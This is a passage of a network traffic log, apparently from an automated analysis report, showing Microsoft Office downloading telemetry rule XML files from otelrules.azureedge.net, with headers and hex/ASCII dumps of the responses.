2024-11-18 19:21:37 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.5	49791	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 19:21:37 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 19:21:37 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 19:21:37 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: dfb03e2b-001e-00ad-2bc4-37554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T192137Z-1866b5c5fbbpxkkxhC1DFWhvmc00000006dg00000000rfvr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 19:21:37 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.5	49792	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 19:21:37 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 19:21:37 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 19:21:37 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: 77191ddf-101e-0034-1389-3896ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T192137Z-164f84587bfm8kdnhC1DFWey4g000000069000000000qx0t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 19:21:37 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.5	49793	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 19:21:37 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 19:21:37 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 19:21:37 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: 67879f82-a01e-000d-0dd2-37d1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T192137Z-16547b76f7f64d6whC1DFWf9vn00000004r000000000t92v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 19:21:37 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.5	49794	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 19:21:38 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 19:21:38 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 19:21:38 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: 0e6654d1-b01e-0097-46c4-374f33000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T192138Z-16547b76f7f9s8x7hC1DFWywrg000000060000000000gqc2 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 19:21:38 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.5	49795	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 19:21:38 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 19:21:38 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 19:21:38 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 919dae56-201e-0096-657a-36ace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T192138Z-164f84587bfsqsthhC1DFWh630000000056g00000000xwt9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 19:21:38 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.5	49796	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 19:21:38 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 19:21:38 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 19:21:38 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: 0f1e6d84-801e-007b-5baf-36e7ab000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T192138Z-16547b76f7fljddfhC1DFWeqbs000000070000000000rmu5 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 19:21:38 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.5	49797	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 19:21:38 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 19:21:38 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 19:21:38 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: eda1c5d7-201e-0033-2eb8-37b167000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T192138Z-16547b76f7fxqj4khC1DFWpypw00000003h000000000ngk2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 19:21:38 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.5	49798	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 19:21:38 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 19:21:38 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 19:21:38 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: 2d30c4d9-701e-003e-289a-3879b3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T192138Z-164f84587bftbpb6hC1DFWm4kg000000050000000000e66q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 19:21:38 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.5	49799	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 19:21:39 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 19:21:39 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 19:21:39 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: faeecedf-001e-0034-1179-36dd04000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T192139Z-164f84587bf6h2bxhC1DFWbcm800000006hg0000000018bh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 19:21:39 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.5	49801	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 19:21:39 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 19:21:39 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 19:21:39 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: 1c255c34-701e-0053-4dbc-373a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T192139Z-1866b5c5fbbwlv6nhC1DFWw4bs00000004tg000000000ge8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 19:21:39 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.5	49800	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 19:21:39 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 19:21:39 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 19:21:39 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: d6bfd382-901e-00ac-633e-38b69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T192139Z-164f84587bfn7ppchC1DFW45b400000000ng00000000bufv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-18 19:21:39 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.5	49802	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 19:21:39 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 19:21:39 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 19:21:39 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: 66d79bbb-701e-006f-4ab4-39afc4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T192139Z-16547b76f7ftnm6xhC1DFW9c8c00000005ug00000000g3z4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
